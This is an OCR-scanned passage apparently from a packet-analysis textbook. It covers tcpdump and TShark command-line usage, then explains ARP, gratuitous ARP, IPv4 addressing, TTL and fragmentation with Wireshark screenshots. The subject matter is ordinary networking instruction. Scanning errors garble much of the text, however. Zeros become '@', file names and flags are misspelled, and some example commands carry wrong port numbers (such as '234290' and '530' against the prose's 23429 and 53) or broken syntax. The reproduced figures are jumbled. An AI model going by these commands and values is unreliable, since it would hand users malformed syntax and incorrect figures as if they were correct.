but you want to filter out a subset of them and save that subset to a separate 
file? You can do this by combining the -w and -r arguments: 





sanders@ppa:~$ tcpdump -r packets.pcap ‘tcp dst port 80' -w http_packets.pcap 





This command will read the file packets.pcap, filter out only the traffic 
destined for TCP port 80 (which is used for http), and write those packets 
to anew file called http_packets.pcap. This is a very common technique to 
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use when you want to maintain a larger source .pcap file but only analyze a 
small portion of it at a time. I frequently use this technique to whittle down 
very large capture files with tcpdump so that I can analyze a subset of the 
packets in Wireshark. Smaller capture files are much easier to wrangle. 

In addition to specifying a filter inline, tcpdump allows you to reference 
a BPF file containing a series of filters. This is handy when you'd like to apply 
an extremely large or complex filter that might otherwise be unwieldy to edit 
and maintain inline with the tcpdump command. You can specify a filter file 
using the -F argument, like this: 


sanders@ppa:~$ tcpdump -nni etho -F dns_servers.bpf 





If your file gets too large, you might be tempted to add notes or com- 
ments to it to keep track of what each part of the filter does. Keep in mind 
that a BPF filter file does not allow for comments and will generate an error 
if anything other than a filtering statement is encountered. Since comments 
are very helpful for deciphering large filter files, I usually maintain two 
copies of every file: one for use with tcpdump that doesn’t contain com- 
ments and one that contains comments for reference. 


Time Display Formats in TShark 
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One thing that often confuses new analysts is the default timestamp used 

by TShark. It shows packet timestamps in relation to the start of the packet 
capture. There are times when such timestamping is preferable, but in many 
cases you may want to see the time the packet was captured, as is the default 
for tcpdump timestamps. You can get this same output from TShark by using 
the -t argument with the value ad for absolute date: 





C:\Program Files\Wireshark>tshark -r packets.pcap -t ad 





Here’s a comparison of the same packets as before with the default rela- 
tive timestamps ® and absolute timestamps @: 





C:\Program Files\Wireshark>tshark -r packets.pcap -c2 


1 0.000000 172.16.16.172 -> 4.2.2.1 ICMP Echo (ping) 
request id=0x0001, seq=17/4352, ttl=128 
2 0.024500 4.2.2.1 -> 172.16.16.172 ICMP Echo (ping) 


reply id=0x0001, seq=17/4352, ttl=54 (request in 1) 


C:\Program Files\Wireshark>tshark -r packets.pcap -t ad -c2 


1 2015-12-21 12:52:43.116551 172.16.16.172 -> 4.2.2.1 ICMP Echo (ping) 
request id=0x0001, seq=17/4352, ttl=128 
2 2015-12-21 12:52:43.141051 4.2.2.1 -> 172.16.16.172 ICMP Echo (ping) 


reply id=0x0001, seq=17/4352, ttl=54 (request in 1) 





By using the -t argument, you can specify any time display format you 
would find in Wireshark. These formats are shown in Table 6-1. 


Table 6-1: Time Display Formats Available in TShark 


Value Timestamp Example 

a Absolute time the packet was captured (in your —-15:47:58.004669 
time zone) 

ad Absolute time the packet was captured with date 2015-10-09 15:47:58.004669 
(in your time zone} 

d Delta (time difference) since previous captured 0.000140 
packet 

dd Delta since previous displayed packet 0.000140 

e Epoch time (seconds since January 1, 1970, UTC) 1444420078 . 004669 

r Elapsed time between the first packet and the 0.000140 
current packet 

u Absolute time the packet was captured (UTC) 19:47:58 .004669 

ud Absolute time the packet was captured with 2015-10-09 19:47:58.004669 
date (UTC) 


Unfortunately, tcpdump doesn’t provide this level of control for manip- 
ulating how timestamps are shown. 


Summary Statistics in TShark 


Another useful TShark feature (and one that sets it apart from tcpdump) 

is its ability to generate a subset of statistics from a capture file. These sta- 
tistics mirror many of the capabilities found in Wireshark but provide easy 
command line access. Statistics are generated by using the -z argument and 
specifying the name of the output you would like to generate. You can view 
a full listing of available statistics by using this command: 





C:\Program Files\Wireshark>tshark -z help 





Many of the features we’ve already covered are available using the -z 
argument. They include the ability to output endpoint and conversation 
statistics using this command: 





C:\Program Files\Wireshark>tshark -r packets.pcap -z conv,ip 





This command prints a table of statistics with information about the IP 
conversations in the file packets.pcap, as shown in Figure 6-3. 

You can also use this argument to view protocol-specific information. 
As shown in Figure 6-4, you can use the http, tree option to see a breakdown 
of HTTP requests and responses in table form. 





C:\Program Files\Wireshark>tshark -r packets.pcap -z http,tree 
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C:\Program Files\Wireshark>tshark -r packets conv,ip 
1 @.000008 172.16.16.172 -> 4.2.2.1 Echo (ping) request i K seq=17/4352, ttl=128 
.024500 4.2.2.1 -> 172.16.16. Echo (ping) reply i 

„004292 172.16.16.172 -> 4.2.2. Echo (ping) request 
„036842 4.2.2.1 -> 172.16.16. Echo (ping) reply 
.015805 -16.16.172 -> 4.2.2. Echo (ping) request 
045880 4.2.2.1 -> 172.16.16. Echo (ping) reply 
026818 -16.16.172 -> 4.2.2. Echo (ping) request 
-@51049 4.2.2.1 -> 172.16.16. Echo (ping) reply 
«479931 .16.16.172 -> 4.2.2. Echo (ping) request 
504257 4.2.2.1 -> 172.16.16. Echo (ping) reply 
483684 .16.16.172 -> 4.2.2. Echo (ping) request 
. 508045 4.2.2.1 -> 172.16.16. Echo (ping) reply 
+492711 +16.16.172 -> 4.2.2.1 Echo (ping) request 
517448 4.2.2.1 -> 172.16.16. Echo (ping) reply 

» 504493 +16.16.172 -> 4.2.2.1 Echo (ping) request 
. 528843 4.2.2.1 -> 172.16.16. Echo (ping) reply 

. 880478 .16.16.172 -> 4.2.2.1 Echo (ping) request 
904451 4.2.2.1 -> 172.16.16. Echo (ping) reply 
.885254 +16.16.172 -> 4.2.2.1 Echo (ping) request 
909634 4.2.2.1 -> 172.16.16. Echo (ping) reply 
895091 +16.16.172 -> 4.2.2.1 Echo (ping) request 
-920183 4.2.2.1 -> 172.16.16. Echo (ping) reply 
984898 .16.16.172 -> 4.2.2.1 Echo (ping) request 
929263 4.2.2.1 -> 172.16.16. Echo (ping) reply 
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Conversations 
Filter:<No Filter> 
| Relative | Duration 
| Frames Bytes | | Frames Bytes | Frames Bytes | Start 
<-> 172.16.16.172 12 838 12 838 24 1776 G. 000000000 13.9293 





Figure 6-3: Using TShark to view conversation statistics 
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Figure 6-4: Using TShark to view HTTP request and response statistics 


Another useful feature is the ability to view reassembled stream out- 
put, similar to what we did earlier by right-clicking packets in Wireshark 
and choosing the Follow TCP Stream option. To get this output, we have 
to use the follow option and specify the type of stream, the output mode, 
and which stream we want to display. You can identify a stream with the 
number assigned to it in the leftmost column when outputting conversa- 
tion statistics (as seen in Figure 6-3). A command might look like this: 





C:\Program Files\Wireshark>tshark -r http_google.pcap -z follow, tcp,ascii,O 
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This command will print TCP stream 0 to the screen in ASCII format 
from the file hitp_google.pcap. The output for this command looks like this: 





C:\Program Files\Wireshark>tshark -r http_google.pcap -z 


Follow: tcp,ascii 

Filter: tcp.stream eq 0 

Node 0: 172.16.16.128:1606 

Node 1: 74.125.95.104:80 

627 

GET / HTTP/1.1 

Host: www.google.com 

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) 
Gecko/20091221 Firefox/3.5.7 

Accept: text/html, application/xhtml+xml , application/xml; q=0.9,*/*;q=0.8 
Accept-Language: en-us,en;q=0.5 

Accept-Encoding: gzip,deflate 

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 

Keep-Alive: 300 

Connection: keep-alive 

Cookie: PREF=ID=257913a938e6c248 : U=267c896b539fbOb: FF=4: LD=e 

n:NR=10: TM=1260730654: LM=1265479336: GM=1 : S=h1UBGonTuWU3D23L ; 
NID=31=Z-nhwMjUP63eOtYMTp-3T1igMSPnNS1eM1kN1_DUrnO2zW1cPM4JE3AJecgb_ 
vG-YFibFXsz0ApfbhBA1BOX4dKx4L8ZDdeikwqekgP5_kzELtC2mUHx7RHx3PIttcuZ 


1406 
HTTP/1.1 200 OK 
Date: Tue, 09 Feb 2010 01:18:37 GMT 
Expires: -1 
Cache-Control: private, max-age=0 
Content-Type: text/html; charset=UTF-8 
Content-Encoding: gzip 
Server: gws 
Content-Length: 4633 
X-XSS-Protection: 0 


You can also specify which stream you'd like to view by providing the 
address details. For example, the following command will retrieve a UDP 
stream for the specified endpoints and ports: 





C:\Program Files\Wireshark>tshark -r packets.pcap -z follow,udp,ascii,192.168. 
1.5:234290,4.2.2.1:530 





This command will print the UDP stream for the endpoints 192.168.1.5 
on port 23429 @ and 4.2.2.1 on port 53 @ from packets.pcap. 
Here are some of my favorite statistical options: 


ip_hosts,tree Displays every IP address in a capture, along with the 
rate and percentage of traffic each address is responsible for 


io,phs Displays a protocol hierarchy showing all protocols found 
within the capture file 
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http,tree Displays statistics related to HTTP requests and responses 
http_req,tree Displays statistics for every HTTP request 

smb,srt Displays statistics related to SMB commands for analyzing 
Windows communication 

endpoints,wlan Displays wireless endpoints 

expert Displays expert information (chats, errors, and so on) from the 
capture 


There are a lot of useful options available using the -z argument. It 
would take far too many pages to cover them all here, but if you plan to use 
TShark frequently, you should invest time in reviewing the official documen- 
tation to learn more about everything that is available. You can find that 
documentation here: hitps://www.wireshark.org/docs/man-pages/tshark. html. 


Comparing TShark and tcpdump 


Chapter 6 


Both command line packet analysis applications we’ve examined in this 
chapter are well suited to their respective tasks, and either of them will 
allow you to accomplish whatever task is at hand with varying degrees of 
effort. There are a few differences worth highlighting so you can choose 
the best tool for the job: 


Operating system tcpdump is only available for Unix-based operat- 
ing systems, while TShark can function on Windows and Unix-based 
systems. 


Protocol support Both tools support common layer 3 and 4 proto- 
cols, but tcpdump has limited layer 7 protocol support. TShark pro- 
vides a rich level of layer 7 protocol support because it has access to 
Wireshark’s protocol dissectors. 


Analysis features Both tools rely heavily on human analysis to pro- 
duce meaningful results, but TShark also provides a robust set of ana- 
lytical and statistical features, similar to those in Wireshark, that can 
aid analysis when a GUI isn’t available. 


Tool availability and personal preference are usually the ultimate 
deciders of which application to use. Fortunately, the tools are similar 
enough that learning one will inherently teach you something about the 
other, making you more versatile and increasing the size of your tool kit. 


NETWORK LAYER PROTOCOLS 


Whether you're troubleshooting latency 
issues, identifying malfunctioning applica- 
tions, or zeroing in on security threats in 





order to spot abnormal traffic, you must first 
understand normal traffic. In the next couple of chap- 


ters, you'll learn how normal network traffic works at 


the packet level as we journey from the bottom of the OSI model all the way 
to the top. Each protocol section has at least one associated capture file, 
which you can download and work with directly. 

In this chapter, we’ll specifically focus on the network layer protocols 
that are the workhorses of network communication: ARP, IPv4, IPv6, ICMP, 
and ICMPv6. 

The next three chapters on network protocols are arguably the most 
important chapters in this book. Skipping this discussion would be like 
making Thanksgiving dinner without preheating the oven. Even if you 
already have a good grasp of how each protocol functions, give these chap- 
ters at least a quick read in order to review the packet structure of each. 
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Address Resolution Protocol (ARP) 


Chapter 7 


Both logical and physical addresses are used for communication on a net- 
work. Logical addresses allow for communication among multiple networks 
and indirectly connected devices. Physical addresses facilitate communica- 
tion on a single network segment for devices that are directly connected to 
each other with a switch. In most cases, these two types of addressing must 
work together in order for communication to occur. 

Consider a scenario in which you wish to communicate with a device 
on your network. This device may be a server of some sort or just another 
workstation you need to share files with. The application you are using to 
initiate the communication is already aware of the remote host’s IP address 
(via DNS, covered in Chapter 9), meaning the system should have all it needs 
to build the layer 3 through 7 information of the packet it wants to trans- 
mit. The only piece of information it needs at this point is the layer 2 data 
link information containing the MAC address of the target host. 

MAC addresses are needed because a switch that interconnects devices 
on a network uses a Content Addressable Memory (CAM) table, which lists the 
MAC addresses of all devices plugged into each of its ports. When the 
switch receives traffic destined for a particular MAC address, it uses this 
table to know which port to send the traffic through. If the destination 
MAC address is unknown, the transmitting device will first check for the 
address in its cache; if the address isn’t there, then it must be resolved 
through additional communication on the network. 

The resolution process that TCP/IP networking (with IPv4) uses to 
resolve an IP address to a MAC address is called the Address Resolution 
Protocol (ARP), which is defined in RFC 826. The ARP resolution pro- 
cess uses only two packets: an ARP request and an ARP response (see 
Figure 7-1). 


An RFC, or Request for Comments, is a technical publication from the Internet 
Engineering Task Force (IETF) and Internet Society (ISOC) and is the mechanism 
used to define the implementation standards for protocols. You can search for RFC 
documentation at the RFC Editor home page, http://www.rfc-editor.org/. 


The transmitting computer sends out an ARP request that basically 
says, “Howdy, everybody. My IP address is 192.168.0.101, and my MAC 
address is f2:f2:f2:f2:f2:f2. I need to send something to whoever has the 
IP address 192.168.0.1, but I don’t know the hardware address. Will who- 
ever has this IP address please respond with your MAC address?” 

This packet is broadcast to every device on the network segment. 
Any device that doesn’t have this IP address simply discards the packet. 
The device that does have the address sends an ARP reply with an answer 
such as “Hey, transmitting device, I’m the one you're looking for with the 
IP address 192.168.0.1. My MAC address is 02:£2:02:£2:02:f2.” 

Once this resolution process is completed, the transmitting device 
updates its cache with the MAC-to-IP address association of the receiving 
device and can begin sending data. 






ARP Request 




































Source IP: 192.168.0.101 
Source MAC: f2:f2:f2:f2:f2:f2 
Target IP: 192.168.0.1 

Target MAC: 00:00:00:00:00:00 












































ARP Response 















































Source IP: 192.168.0.1 
Source MAC: 02:f2:02:f2:02:f2 
Target IP: 192.168.0.101 
Target MAC: f2:f2:f2:2:f2:2 



































Figure 7-1: The ARP resolution process 


You can view the ARP table of a Windows host by typing arp -a from a command 
prompt. 


Seeing this process in action will help you understand how it works. But 
before we look at some examples, let’s examine the ARP packet header. 


ARP Packet Structure 
As shown in Figure 7-2, the ARP header includes the following fields: 


Hardware Type The layer 2 type used—in most cases, this is Ethernet 
(type 1) 

Protocol Type The higher-layer protocol for which the ARP request is 
being used 

Hardware Address Length The length (in octets/bytes) of the hard- 
ware address in use (6 for Ethernet) 

Protocol Address Length The length (in octets/bytes) of the logical 
address of the specified protocol type 


Operation The function of the ARP packet: either 1 for a request or 2 
for a reply 
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Sender Protocol Address 


Sender Protocol Address Target Hardware Address 
Target Hardware Address 
192+ Target Protocol Address 


Figure 7-2: The ARP packet structure 





Sender Hardware Address The hardware address of the sender 
Sender Protocol Address The sender’s upper-layer protocol address 


Target Hardware Address The intended receiver’s hardware address 
(all zeroes in ARP requests) 


Target Protocol Address The intended receiver’s upper-layer protocol 
address 


Now open the file arp_resolution.pcapng to see this resolution process 
in action. We’ll focus on each packet individually as we walk through this 


process. 

Packet 1: ARP Request 
arp_resolution The first packet is the ARP request, as shown in Figure 7-3. We can con- 
Pepo firm that this packet is a true broadcast packet by examining the Ethernet 


header in Wireshark’s Packet Details pane. The packet’s destination address 
is FE FE FE PEALE ©. This is the Ethernet broadcast address, and anything sent 
to it will be broadcast to all devices on the current network segment. The 
source address of this packet in the Ethernet header is listed as our MAC 
address @. 

Given this structure, we can discern that this is indeed an ARP request 
on an Ethernet network using IPv4. The sender’s IP address (192.168.0.114) 
and MAC address (00:16:ce:6e:8b:24) are listed ©, as is the IP address 
of the target (192.168.0.1) ©. The MAC address of the target—the infor- 
mation we are trying to get—is unknown, so the target MAC is listed as 
00:00:00:00:00:00 ©. 
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@ Wireshark - Packet 1» arp_resolution = m] x 





Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) 
V Ethernet II, Src: HonHaiPr_6e:8b:24 (@@:16:ce:6e:8b:24), Dst: Broadcast (ff:ff:ff:ff:ff:fFf) 
Destination: Broadcast (ff:ff:ff:ff:ff:ff) @ 
Source: HonHaiPr_6e:8b:24 (@0:16:ce:6e:8b:24)@ 
Type: ARP (@x@806) 
V Address Resolution Protocol (request) 
Hardware type: Ethernet (1) 
Protocol type: IPv4 (@x@800) 
Hardware size: 6 
Protocol size: 4 
Opcode: request (1) 
Sender MAC address: HonHaiPr_6e:8b:24 (@0:16:ce:6e:8b:24) 
Sender IP address: 192.168.@.114 
Target MAC address: 00:00:00 00:00:00 (@0:00:00:00:00:00) @ 
Target IP address: 192.168.0.1 @ 








No.: 1 + Time: 0.000000 - Source: HontisiPr_6e:86:24 - Destination: Broadcast * Protocol: ARP « Length: 42 « Info: Who has 192.168.0.1? Tell 192.168.0.114 








Figure 7-3: An ARP request packet 


Packet 2: ARP Response 


In the response to the initial request (see Figure 7-4), the Ethernet header 
now has a destination address of the source MAC address from the first 
packet. The ARP header looks similar to that of the ARP request, with a 
few changes: 


e The packet’s operation code (opcode) is now 0x0002 @, indicating a 
reply rather than a request. 


e The addressing information is reversed—the sender MAC address and 
IP address are now the target MAC address and IP address ®. 


e Most important, all the information is present, meaning we now have 


the MAC address (00:13:46:0b:22:ba) @ of our host at 192.168.0.1. 


M \Wireshark - Packet 2 - arp_resolution = o x 





Frame 2: 46 bytes on wire (368 bits), 46 bytes captured (368 bits) | 
V Ethernet II, Src: D-LinkCo_@b:22:ba (00:13:46:0b:22:ba), Dst: HonHaiPr_6e:8b:24 (@0:16:ce:6e:8b:24) 
Destination: HonHaiPr_6e:8b:24 (@@:16:ce:6e:8b:24) 
Source: D-LinkCo_@b:22:ba (@@:13:46:@b:22:ba) 
Type: ARP (@x@8@6) 
Trailer: c@a80072 
vV Address Resolution Protocol (reply) 
Hardware type: Ethernet (1) 
Protocol type: IPv4 (@x@800) 
Hardware size: 6 
Protocol size: 4 
Opcode: reply (2)@ 
Sender MAC address: D-LinkCo_@b:22:ba (00:13:46:@b:22:ba)@ 
Sender IP address: 192.168.0.1 
Target MAC address: HonHaiPr_6e:8b:24 (@0:16:ce:6e:8b:24) 
Target IP address: 192.168.@.114 








No.: 2 * Time: 0.004081 » Source: D-LinkCo_0b:22:ba « Destination: HonHaiPr_6e:8b:24 » Protocol: ARP « Length: 46 > Info: 192.168.0.1 is at 00:13:46:0b:22:ba 


Close Help 








Figure 7-4: An ARP reply packet 
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Gratuitous ARP 


Where I come from, when something is done “gratuitously,” the word usu- 
ally carries a negative connotation. A gratuitous ARP, however, is a good 
thing. 

In many cases, a device’s IP address can change. When this happens, 
the IP-to-MAC address mappings that hosts on the network have in their 
caches will be invalid. To prevent this from causing communication errors, 
a gratuitous ARP packet is transmitted on the network to force any device 
that receives it to update its cache with the new IP-to-MAC address mapping 
(see Figure 7-5). 



























































Source IP: 192.168.0.101 


Source MAC: 2:f2:f2:f2:f2:f2 


Target IP: 192.168.0.101 
Target MAC: 00:00:00:00:00:00 














Figure 7-5: The gratuitous ARP process 


A few different scenarios can spawn a gratuitous ARP packet. One of 
the most common is the changing of an IP address. Open the capture file 
arp_gratuitous.pcapng, and you'll see this in action. This file contains only 
a single packet (see Figure 7-6) because that’s all that’s involved in gratu- 
itous ARP. 





@ Wireshark - Packet 1- arp_gratuitous = oO x 





Frame 1: 6@ bytes on wire (48@ bits), 6@ bytes captured (48@ bits) 
YV Ethernet II, Src: IntelCor_b7:f2:f5 (00:03:47:b7:f2:f5), Dst: Broadcast (ff:ff:ff:ff:ff:fFf) 
Destination: Broadcast (ff:ff:ff:ff:ff:ff) @ 
Source: IntelCor_b7:f2:f5 (00:03:47:b7:f2:f5) 
Type: ARP (@x@806) 
| Padding: 900000000000000000000000000000000000 
|Y Address Resolution Protocol (request/gratuitous ARP) 
Hardware type: Ethernet (1) 
Protocol type: IPv4 (@x@800) 
Hardware size: 6 
Protocol size: 4 
Opcode: request (1) 
[Is gratuitous: True] 
Sender MAC address: IntelCor_b7:f2:f5 (@0:03:47:b7:f2:f5) 
@ Sender IP address: 24.6.125.19 
Target MAC address: @80:00:00_ 00:00:00 (@0:00:00:00:00:00) 
© Target IP address: 24.6.125.19 


L — = 





No.: 1 * Time: 0.000000 « Source: Inte\Cor_b7:f2:f5 « Destination: Broadcast « Protocol: ARP « Length: 60 « Info: Gratuitous ARP for 24.6.125.19 (Request) 





Figure 7-6: A gratuitous ARP packet 


Examining the Ethernet header, you can see that this packet is sent as a 
broadcast so that all hosts on the network receive it ®. The ARP header looks 
like an ARP request, except that the sender IP address @ and the target IP 
address ® are the same. When received by other hosts on the network, this 
packet will cause them to update their ARP tables with the new IP-to-MAC 
address association. Because this ARP packet is unsolicited but results in a 
client updating its ARP cache, the packet is considered gratuitous. 

You'll notice gratuitous ARP packets in a few situations. As mentioned, 
changing a device’s IP address will generate a gratuitous packet. Also, some 
operating systems will perform a gratuitous ARP on startup. Additionally, 
some systems use gratuitous ARP packets to support load balancing. 


Internet Protocol (IP) 


The primary purpose of protocols at layer 3 of the OSI model is to allow 
for communication between networks. As you just saw, MAC addresses are 
used for communication on a single network at layer 2. In much the same 
fashion, layer 3 is responsible for addresses used in internetwork commu- 
nication. A few protocols can do this, but the most common is the Internet 
Protocol (IP), which currently has two versions in use—IP version 4 and IP 
version 6. We’ll start by examining IP version 4 (IPv4), which is defined in 
RFC 791. 


Internet Protocol Version 4 (IPv4) 


To understand the functionality of IPv4, you need to know how traffic flows 
between networks. IPv4 is the workhorse of the communication process and 
is ultimately responsible for carrying data between devices, regardless of 
where the communication endpoints are located. 

A simple network in which all devices are connected via hubs or 
switches is called a local area network (LAN). When you want to connect 
two LANs, you can do so with a router. Complex networks can consist of 
thousands of LANs connected through thousands of routers worldwide. 
The internet itself is a collection of millions of LANs and routers. 


IPv4 Addresses 


IPv4 addresses are 32-bit assigned numbers used to uniquely identify devices 
connected to a network. It’s a bit much to expect someone to remember a 
sequence of ones and zeros that is 32 characters long, so IP addresses are 
written in dotted-quad (or dotted-decimal) notation. 

In dotted-quad notation, each of the four sets of ones and zeros that 
make up an IP address is converted to base 10 and represented as a number 
between 0 and 255 in the format A.B.C.D (see Figure 7-7). For example, con- 
sider the IP address 11000000 10101000 00000000 00000001. This value is 
obviously a bit much to remember or notate. Fortunately, using dotted-quad 
notation, we can represent it as 192.168.0.1. 
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11000000 10101000 00000000 00000001 
| | | | 


192 168 O 1 
192.168.0.1 


Figure 7-7: Dotted-quad IPv4 address notation 


An IP address consists of two parts: a network portion and a host portion. 
The network portion identifies the LAN the device is connected to, and the 
host portion identifies the device itself on that network. The determina- 
tion of which part of the IP address belongs to the network or host portion 
is not always the same. This information is communicated by another set 
of addressing information called the network mask (netmask) or sometimes 
referred to as a subnet mask. 


In this book, when we refer to an IP address, we will always be referring to an IPv4 
address. Later in this chapter, we will look at IP version 6, which uses a different 
set of rules for addressing. Whenever we refer to an IPv6 address, it will be explicitly 
labeled as such. 


The netmask identifies which part of the IP address belongs to the 
network portion and which part belongs to the host portion. The netmask 
number is also 32 bits long, and every bit that is set to a 1 identifies the part 
of the IP address that is reserved for the network portion. The remaining 
bits are set to 0 to identify the host portion. 

For example, consider the IP address 10.10.1.22, represented in binary 
as 00001010 00001010 00000001 00010110. To determine the allocation of 
each section of the IP address, we can apply our netmask. In this case, our 
netmask is 11111111 11111111 00000000 00000000. This means that the 
first half of the IP address (10.10 or 00001010 00001010) is reserved for 
the network portion, and the last half of the IP address (.1.22 or 00000001 
00010110) identifies the individual host on this network, as shown in 
Figure 7-8. 


10.10.1.22 - 00001010 00001010 00000001 00010110 
| | | |  —® 10.10.1.22 


255.255.0.0 ==11111111 11111111 00000000 00000000 an ork Hos 


Network Host 


Figure 7-8: The netmask determines the allocation of the bits in an IP address. 


As indicated in Figure 7-8, netmasks can also be written in dotted-quad 
notation. For example, the netmask 11111111 11111111 00000000 00000000 
is written as 255.255.0.0. 

IP addresses and netmasks are commonly written in Classless Inter- 
Domain Routing (CIDR) notation. In this form, an IP address is written in 
full, followed by a forward slash (/) and the number of bits that repre- 
sent the network portion of the IP address. For example, an IP address of 
10.10.1.22 and a netmask of 255.255.0.0 would be written in CIDR notation 
as 10.10.1.22/16. 


IPv4 Packet Structure 


The source and destination IP addresses are the crucial components of the 
IPv4 packet header, but that’s not all of the IP information you'll find in a 
packet. The IP header is quite complex compared to the ARP packet we just 
examined; it includes a lot of extra functionality that helps IP do its job. 
As shown in Figure 7-9, the IPv4 header has the following fields: 
Version The version of IP being used (this will always be 4 for IPv4). 
Header Length The length of the IP header. 


Type of Service A precedence flag and type of service flag, which are 
used by routers to prioritize traffic. 


Total Length The length of the IP header and the data included in 
the packet. 


Identification A unique identification number used to identify a 
packet or sequence of fragmented packets. 


Flags Used to identify whether a packet is part of a sequence of frag- 
mented packets. 


Fragment Offset Ifa packet is a fragment, the value of this field is 
used to reassemble the packets in the correct order. 


Time to Live Defines the lifetime of the packet, measured in hops or 
seconds through routers. 


Protocol Identifies the transport layer header that encapsulates the 
IPv4 header. 


Header Checksum An error-detection mechanism used to verify that 
the contents of the IP header are not damaged or corrupted. 


Source IP Address The IP address of the host that sent the packet. 
Destination IP Address The IP address of the packet’s destination. 


Options Reserved for additional IP options. It includes options for 
source routing and timestamps. 


Data The actual data being transmitted with IP. 
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Figure 7-9: The IPv4 packet structure 


Time to Live 


ip_ttl_source.pcapng The Time to Live (TTL) value defines a period of time that can elapse or 

ip_ti_destpcapng a maximum number of routers a packet can traverse before the packet is 
discarded for IPv4. A TTL is defined when a packet is created and gener- 
ally is decremented by 1 every time the packet is forwarded by a router. For 
example, if a packet has a TTL of 2, the first router it reaches will decre- 
ment the TTL to | and forward it to the second router. This router will then 
decrement the TTL to zero, and if the final destination of the packet is not 
on that network, the packet will be discarded (see Figure 7-10). 
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Figure 7-10: The TTL of a packet decreases every time it traverses a router. 









































Why is the TTL value important? Typically, we are concerned about the 
lifetime of a packet only in terms of the time that it takes to travel from its 
source to its destination. However, consider a packet that must travel to a 
host across the internet while traversing dozens of routers. At some point in 
that packet’s path, it could encounter a misconfigured router and lose the 
path to its final destination. In such a case, the router could do a number of 
things, one of which could result in the packet’s being forwarded around a 
network in a never-ending loop. 
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An infinite loop can cause all sorts of issues, but it typically results in 
the crash of a program or an entire operating system. Theoretically, the 
same thing could occur with packets on a network. The packets would keep 
looping between routers. As the number of looping packets increased, the 
available bandwidth on the network would deplete until a denial of service 
condition occurred. To prevent this, TTL was created. 

Let’s look at an example of this in Wireshark. The file 7p_ttl_source.pcapng 
contains two ICMP packets. ICMP (discussed later in this chapter) uses IP 
to deliver packets, as we can see by expanding the IP header section in the 
Packet Details pane (see Figure 7-11). 








Wireshark « Packet 1 - ip_ttlsource ae x 














Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: Cisco-Li_66:71:95 (@0:21:29:66:71:95) 
V Internet Protocol Version 4, Src: 10.10.0.3, Dst: 192.168.0.128 
0100 .... = Version: 4@ 
. 0101 = Header Length: 20 bytes @ 
Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
Total Length: 60 © 
Identification: @x728d (29325) 
Flags: 0x00 
Fragment offset: @ 
Time to live: 128 @ 
Protocol: ICMP (1) 
Header checksum: @x@@0@ [validation disabled] 
Source: 10.10.9.3@ 
Destination: 192.168.0.128 @ 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
Internet Control Message Protocol 








No.: 1 + Time: 0.000000 « Source: 10.10.0.3 * Destination: 192,168.0.128 * Protocol: ICMP + Length: 74 « Info: Echo (ping) request id=0x0001, seq=37/9472, tti=128 (reply in 2) 











Figure 7-11: The IP header of the source packet 


You can see that the version of IP being used is version 4 @, the IP 
header length is 20 bytes @, the total length of the header and payload is 
60 bytes ©, and the value of the TTL field is 128 @. 

The primary purpose of an ICMP ping is to test communication between 
devices. Data is sent from one host to another as a request, and the receiv- 
ing host should send that data back as a reply. In this file, we have one device 
with the address of 10.10.0.3 © sending an ICMP request to a device with 
the address 192.168.0.128 ©. This initial capture file was created at the 
source host, 10.10.0.3. 

Now open the file ip_ttl_dest.pcapng. In this file, the data was captured at 
the destination host, 192.168.0.128. Expand the IP header of the first packet 
in this capture to examine its TTL value (see Figure 7-12). 

You should immediately notice that the TTL value is 127 @, 1 less than 
the original TTL of 128. Without even knowing the architecture of the net- 
work, we can conclude that one router separates these devices and thus the 
passage through that router reduced the TTL value by 1. 
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Wireshark Packet 1 - ip_ttldest - o x 
P. 








Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: Cisco-Li_66:71:94 (00:21:29:66:71:94), Dst: Dell_c@:56:f@ (00:21:70:c0:56:f@) 
V Internet Protocol Version 4, Src: 10.10.0.3, Dst: 192.168.0.128 
0100 .... = Version: 4 
- 0101 = Header Length: 20 bytes 

Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 

Total Length: 60 

Identification: @x728d (29325) 

Flags: @x0 

Fragment offset: @ 

Time to live: 1270 

Protocol: ICMP (1) 

Header checksum: @xfdfe [validation disabled] 

Source: 10.10.0.3 

Destination: 192.168.0.128 

[Source GeoIP: Unknown] 

[Destination GeoIP: Unknown] 
Internet Control Message Protocol 


No.: 1 > Time: 0.000000 - Source: 10.10.0.3 * Destination: 192.168.0.128 > Protocol: IC.. « Length: 74 - Info: Echo (ping) request id=0x0001, seq=37/9472, ttl=127 (reply in 





Figure 7-12: The IP header shows us that the TTL has been decremented by 1. 


IP Fragmentation 


Packet fragmentation is a feature of IP that permits reliable delivery of data 
across varying types of networks by splitting a data stream into smaller 
fragments. 

The fragmentation of a packet is based on the maximum transmission 
unit (MTU) size of the layer 2 data link protocol in use and the configura- 
tion of the devices using this layer 2 protocol. In most cases, the layer 2 
data link protocol in use is Ethernet. Ethernet has a default MTU of 1,500, 
which means that the maximum packet size that can be transmitted over an 
Ethernet network is 1,500 bytes (not including the 14-byte Ethernet header 
itself). 


Although there are standard MTU settings, the MTU of a device can be reconfigured 
manually in most cases. An MTU setting is assigned on a per-interface basis and can 
be modified on Windows and Linux systems, as well as on the interfaces of managed 
routers. 


When a device prepares to transmit an IP packet, it determines whether 
it must fragment the packet by comparing the packet’s data size to the 
MTU of the network interface from which the packet will be transmitted. 

If the data size is greater than the MTU, the packet will be fragmented. 
Fragmenting a packet involves the following steps: 


1. The device splits the data into the number of packets required for suc- 
cessful data transmission. 


2. The Total Length field of each IP header is set to the segment size of 
each fragment. 


3. The More fragments flag is set to 1 on all packets in the data stream, 
except for the last one. 


4. The Fragment offset field is set in the IP header of the fragments. 


5. The packets are transmitted. 


The file ¢p_frag_source.pcapng was taken from a computer with the 
address 10.10.0.3, transmitting a ping request to a device with the address 
192.168.0.128. Notice that the Info column of the Packet List pane lists 
two fragmented IP packets, followed by the ICMP (ping) request. 

Begin by examining the IP header of packet 1 (see Figure 7-13). 











A Wireshark « Packet 1 - ip_frag_source = x 








Frame 1: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) 
